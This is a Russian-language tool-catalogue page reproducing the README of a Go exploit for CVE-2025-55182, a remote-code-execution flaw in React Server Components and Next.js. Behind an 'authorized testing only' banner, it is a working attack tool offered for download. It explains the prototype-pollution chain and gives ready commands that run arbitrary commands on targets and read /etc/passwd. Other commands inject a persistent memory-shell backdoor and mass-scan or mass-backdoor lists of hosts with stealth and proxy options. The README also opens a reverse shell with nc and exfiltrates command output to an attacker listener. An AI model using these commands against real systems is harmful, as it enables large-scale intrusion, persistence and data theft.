Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-golang-PoC — Доказательство концепции на Go для CVE-2025-55182, критической RCE в React Server Components. Включает проверку уязвимости, выполнение команд, инъекцию шелла в память, реверс-шелл, массовое сканирование и поддержку прокси для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/keklick1337/cve-2025-55182-golang-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubkeklick1337/cve-2025-55182-golang-poc

CVE-2025-55182-golang-PoC

Доказательство концепции на Go для CVE-2025-55182, критической RCE в React Server Components. Включает проверку уязвимости, выполнение команд, инъекцию шелла в память, реверс-шелл, массовое сканирование и поддержку прокси для авторизованного тестирования безопасности.

РепозиторийСайт
6199 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 Удаленное выполнение кода в React Server Components — PoC на Go

⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ ⚠️

Описание

CVE-2025-55182 (также известная как CVE-2025-66478) — это критическая уязвимость удаленного выполнения кода (RCE) в React Server Components (протокол Flight). Данный инструмент представляет собой реализацию PoC на Go для исследований в области безопасности и авторизованного тестирования на проникновение.

Затронутые версии:

  • react-server-dom-webpack: 19.0.0 – 19.2.0
  • Next.js: 15.x (до исправлений: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
  • Next.js: 16.x (до 16.0.7)
  • Next.js: 14.3.0-canary.77 и более поздние canary-версии

Детали уязвимости

Эксплойт использует загрязнение прототипа (prototype pollution) при десериализации протокола Flight:

  1. Использует десериализацию $@ для получения ссылки на Chunk
  2. Помещает Chunk.prototype.then как свойство then корневого объекта
  3. Устанавливает статус RESOLVED_MODEL, чтобы вызвать initializeModelChunk с контролируемым поддельным чанком
  4. Запускает десериализацию Blob, которая вызывает response._formData.get с полезной нагрузкой атакующего
  5. Устанавливает response._formData.get на конструктор Function для выполнения произвольного кода

Возможности

  • Полноценное RCE — выполнение произвольных команд с выводом
  • Режим проверки уязвимости — безопасное обнаружение без эксплуатации
  • Определение версии Next.js — автоматическое определение версии по отпечаткам
  • Внедрение Memory Shell — постоянный бэкдор на /exec?cmd=
  • Пакетное сканирование — многопоточное сканирование с выводом в JSON
  • Полная поддержка прокси:
    • SOCKS5 с аутентификацией и без
    • SOCKS4/SOCKS4a
    • HTTP/HTTPS прокси с аутентификацией и без
  • Стелс-режим — User-Agent браузера, краулера, сканера безопасности
  • Ограничение скорости — настраиваемые задержки между запросами
  • Обратный шелл — mkfifo + nc (работает на Alpine/busybox)
  • Эксфильтрация данных — отправка вывода команды POST-запросом на сервер атакующего
  • Кроссплатформенная сборка — более 30 комбинаций ОС/архитектур
  • Вывод в JSON — машиночитаемые результаты для автоматизации

Установка

Готовые бинарные файлы

Скачайте последний релиз для вашей платформы из GitHub Releases.

Доступные бинарники:

  • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
  • Windows: amd64, 386, arm64
  • macOS: amd64 (Intel), arm64 (Apple Silicon)
  • FreeBSD, OpenBSD, NetBSD: amd64, 386, arm, arm64
  • И другие…

Из исходного кода

# Клонирование репозитория
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC

# Сборка для текущей платформы
go build -o cve-2025-55182 .

# Или сборка для всех платформ
chmod +x build.sh
./build.sh

Сборка из исходников

После запуска ./build.sh бинарные файлы будут находиться в каталоге build/ для всех поддерживаемых платформ.

Использование

Базовые команды

# Проверка одной цели на уязвимость
./cve-2025-55182 -u http://target:3000 --check

# Определение версии Next.js
./cve-2025-55182 -u http://target:3000 --version-check

# Выполнение команды с выводом
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"

Memory Shell (постоянный бэкдор)

# Внедрение memory shell (сначала проверяет, не установлен ли уже)
./cve-2025-55182 -u http://target:3000 --memshell

# Проверка активности memory shell
./cve-2025-55182 -u http://target:3000 --test-shell

# Выполнение команды через memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"

# После внедрения можно также использовать curl напрямую:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'

Пользовательские заголовки и обход SSL

# Добавление пользовательских заголовков (можно использовать несколько раз)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'

# Пропуск проверки SSL-сертификата (для самоподписанных сертификатов)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure

# Комбинирование с другими опциями
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080

Поддержка прокси

# SOCKS5 с аутентификацией
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080

# SOCKS5 без аутентификации
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080

# SOCKS4 прокси
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080

# HTTP прокси
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080

Пакетное сканирование

# Пакетная проверка из файла
./cve-2025-55182 --urls targets.txt --check

# Пакетное сканирование с выводом в JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json

# Пакетное сканирование с несколькими потоками и стелс-режимом
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s

# Сохранение уязвимых целей в файл
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt

# Пакетное внедрение memory shell
./cve-2025-55182 --urls targets.txt --memshell --workers 10

# Пакетное выполнение команд
./cve-2025-55182 --urls targets.txt -c "id" --threads 5

Сетевая эксфильтрация

# Обратный шелл (mkfifo + nc, работает на Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444

# Сначала запустите слушатель на машине атакующего:
nc -lvnp 4444

# Эксфильтрация вывода команды через HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

# Запустите слушатель: nc -lvnp 4444

Параметры

ПараметрОписание
-u, --urlЦелевой URL (например, http://localhost:3000)
-f, --fileФайл с целевыми URL (по одному на строку)
--urlsПсевдоним для -f/--file
-o, --outputВыходной файл для уязвимых целей
--jsonВывод результатов в формате JSON
-c, --commandКоманда для выполнения (с выводом)
--checkПроверка на уязвимость
--version-checkОпределение версии Next.js
--proxyURL прокси (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
-H, --headerПользовательский заголовок (можно использовать несколько раз)
-k, --insecureПропустить проверку SSL/TLS сертификата
--stealthСтелс-режим: browser, crawler, security (по умолчанию: browser)
--delayЗадержка между запросами (например, 2s, 500ms)
--variantsИспользовать несколько вариантов полезной нагрузки для тщательной проверки
--memshellВнедрить memory shell (постоянный бэкдор)
--test-shellПроверить, активен ли memory shell
--shell-execВыполнить команду через memory shell
--revshell IP PORTУстановить обратный шелл
--exfil CMD IP PORTВыполнить команду и отправить вывод POST-запросом
-t, --timeoutТайм-аут запроса в секундах (по умолчанию: 15)
--threadsКоличество параллельных потоков (по умолчанию: 10)
--workersПсевдоним для --threads
--nocolorОтключить цветной вывод (для Windows/pipes)
-h, --helpПоказать справку
-v, --versionПоказать версию

Типы прокси

Скачать инструмент